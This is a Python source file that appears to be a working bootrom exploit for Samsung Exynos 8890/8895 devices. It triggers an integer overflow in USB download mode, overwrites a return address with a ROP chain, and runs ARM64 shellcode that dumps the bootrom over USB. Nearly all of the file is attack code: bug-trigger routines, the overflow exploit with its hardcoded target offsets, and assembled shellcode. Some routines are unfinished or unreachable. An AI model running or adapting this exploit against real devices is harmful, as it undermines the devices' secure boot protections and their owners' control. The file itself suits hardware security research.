import usb.core
import usb.util
import struct, sys, usb1, libusb1, ctypes, usb
from keystone import *
from capstone import *
# from ghidra_assistant.utils.utils import *

def p32(x):
    return struct.pack("<I", x)

def p8(x):
    return struct.pack("<B", x)

def p16(x):
    return struct.pack("<H", x)

def p64(x):
    return struct.pack("<Q", x)

BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10)

DL_BUFFER_START = 0x02021800
DL_BUFFER_SIZE = 0x4E800 #0x02070000 End

BOOTROM_START = 0x0
BOOTROM_SIZE = 0x20000 #128Kb

TARGET_OFFSETS = {
    # XFER_BUFFER,	RA_PTR, XFER_END_SIZE
    "8890": (0x02021800, 0x02020F08, 0x02070000), 
    "8895": (0x02021800, 0x02020F18, 0x02070000)
}

ENDPOINT_BULK_IN = 0x81
ENDPOINT_BULK_OUT = 0x2

class ExynosDevice():

    def __init__(self, idVendor=0x04e8, idProduct=0x1234):
        """Init with vendor/product IDs"""
        self.idVendor = idVendor
        self.idProduct = idProduct
        self.target = "8890"  # TODO auto detect device
        self.connect_device()

    def connect_device(self):
        self.context = usb1.USBContext()
        while True:
            self.handle = self.context.openByVendorIDAndProductID(
                vendor_id=self.idVendor,
                product_id=self.idProduct,
                skip_on_error=True
            )
            if self.handle == None:
                continue
            break

        print("Connected device!")

    def write(self, data, size=-1):
        transfered = 0
        transferred = ctypes.c_int()
        if size == -1:
            size = len(data)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
        assert(res == 0)
        return transfered

    def send_empty_transfer(self):
        transfered = 0x200
        transferred = ctypes.c_int()
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
        assert(res == 0)
        return transfered
    
    def test_bug_2(self):
        # Also bug here
        # payload = p32(1) + p32(CHUNK_SIZE + 0x2001) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
        # self.write(payload, MAX_PAYLOAD_SIZE)
        # self.write(b"\xaa" * CHUNK_SIZE, CHUNK_SIZE)
        
        transferred = ctypes.c_int()
        bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
        bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
        assert res == 0
        
        payload = b"\xaa" * 0x200
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
        assert res == 0
        
        payload = b"\xaa" * 0x200
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
        while True:
            res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
        pass

    def test_bug(self):
        # Start by sending a valid packet
        # Integer overflow in the size field
        # unk + size + payload + header
        payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)

        assert (len(payload) == BLOCK_SIZE)
        self.write(payload, MAX_PAYLOAD_SIZE) 

        for i in range(200):            
            print(hex(self.send_empty_transfer()))
        
        print('Bug probably available')
        sys.exit(0)

    def exploit(self, payload: bytes):
        current_offset = TARGET_OFFSETS[self.target][0]
        transferred = ctypes.c_int()
        
        size_to_overflow = 0x100000000 - current_offset + TARGET_OFFSETS[self.target][1] + 8 + 6 
        max_payload_size = 0x100000000 - size_to_overflow
        ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE)
        
        # max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
        # max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200 
        payload = payload + ((max_payload_size - len(payload)) * b"\x00")
        assert len(payload) == max_payload_size, "Invalid payload"
        
        # First send payload to trigger the bug
        bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
        bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
        assert res == 0, "Error triggering payload"
        assert transferred.value == len(bug_payload), "Invalid transfered size"
        current_offset += len(bug_payload) - 8  # Remove header
        
        cnt = 0
        while True:
            if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]:
                break
            self.send_empty_transfer()
            current_offset += CHUNK_SIZE
            cnt += 1
            if current_offset > 0x100000000:
                current_offset = current_offset - 0x100000000 #reset 32 byte integer
            print(f"{cnt} {hex(current_offset)}")
        
        remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
        assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
        if remaining > BLOCK_SIZE:
            self.send_empty_transfer()
            # Send last transfer, TODO who aligns this ROM??
            current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
            cnt += 1
            print(f"{cnt} {hex(current_offset)}")
            
        # Build ROP chain.
        rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
        transferred = ctypes.c_int(0)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
        assert res == 0, "Error sending ROP chain"
        
        # Send some data
        p = b"\xaa" * 0x200
        transferred.value = 0
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
        assert res == 0, "Error sending data"
        
        buf = ctypes.c_buffer(b"", 0x20000)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
        
        # Should have received some bytes
        pass

ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
def usb_debug():
    shellcode = f"""
    start:
    adr x0, test_fun
    ldr x0, [x0]
    blr x0
    
    mov	w1, #0x20000 // size
	mov w0, #0x0 // address
	bl usb_send
    mov x0, #0
    br x0 //reset
    
    #Setup read usb
    mov w0, #0x2
    adr x1, shellcode_base
    ldr x1, [x1]
    mov w2, #0x02020000
    add w2, w2, #0x2000
    # endpoint, cb, buffer
    adr x5, maybe_usb_setup_read
    ldr x5, [x5]
    blr x5

    
    # Get something?? arg0 is endpoint
    mov w0, #0x2
    adr x1, maybe_read_size_endpoint
    ldr x1, [x1]
    blr x1
    
    
    # # Send some data from ROM
	# mov	w1, #0x200 // size
	# mov w0, #0x0 // address
	# bl usb_send
    # mov x0, #0
    # br x0 //reset
    
    
    # # dwc3_ep0_start_trans
    # mov w1, w0
    # mov w0, #0x2
    # mov w2, #0x200
    # adr x5, dwc3_ep0_start_trans
    # ldr x5, [x5]
    # blr x5
    
    # # Send some data from ROM
	# mov	w1, #0x200 // size
	# mov w0, #0x0 // address
	# bl usb_send
    # mov x0, #0
    # br x0 //reset
    
    usb_send:
	stp	x29, x30, [sp,#-48]!
	mov	w3, #0x0
	bfxil	w3, w1, #0, #24
	mov	w1, #0xc12
	mov	x29, sp
	stp	x19, x20, [sp,#16]
	mov	x5, #0xc834
	mov	w20, #0x1
	movk	x5, #0x1540, lsl #16
	ldr	x2, [x29,#40]
	mov	x4, #0xc838
	orr	w6, w1, w20
	movk	x4, #0x1540, lsl #16
	mov	x19, #0xc83c
	movk	x19, #0x1540, lsl #16
	stp	w3, w1, [x2,#8]
	mov	w3, #0x406
	stp	w0, wzr, [x2]
	mov	w0, w20
	ldr	x1, [x29,#40]
	strb	w6, [x2,#12]
	mov	x2, #0x27c8
	str	w1, [x5]
	mov	w1, #0x1388
	str	wzr, [x4]
	str	w3, [x19]
	blr	x2
	mov	w0, w20
	ldr	w1, [x19]
	ldp	x19, x20, [sp,#16]
	ldp	x29, x30, [sp],#48
	ret

    usb_read_endpoint: .quad 0x00006654
    maybe_usb_setup_read: .quad 0x00006f88
    shellcode_base: .quad 0x02021800
    maybe_read_size_endpoint: .quad 0x00007a7c
    dwc3_ep0_start_trans: .quad 0x0000791c
    test_fun: .quad 0x000064e0
"""
    shellcode = ks.asm(shellcode, as_bytes=True)[0]
    
    shellcode = open("dwc3.bin", "rb").read()
    
    exynos = ExynosDevice()
    exynos.exploit(shellcode)

if __name__ == "__main__":
    usb_debug()
    sys.exit(0)
    # wait_for_device()
    exynos = ExynosDevice()
    exynos.test_bug_2()
    sys.exit(0)
    path = "dump/exynos-usbdl/payloads/Exynos8890_dump_bootrom.bin"
    # path = "/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin"
    exynos.exploit(open(path, "rb").read())
    pass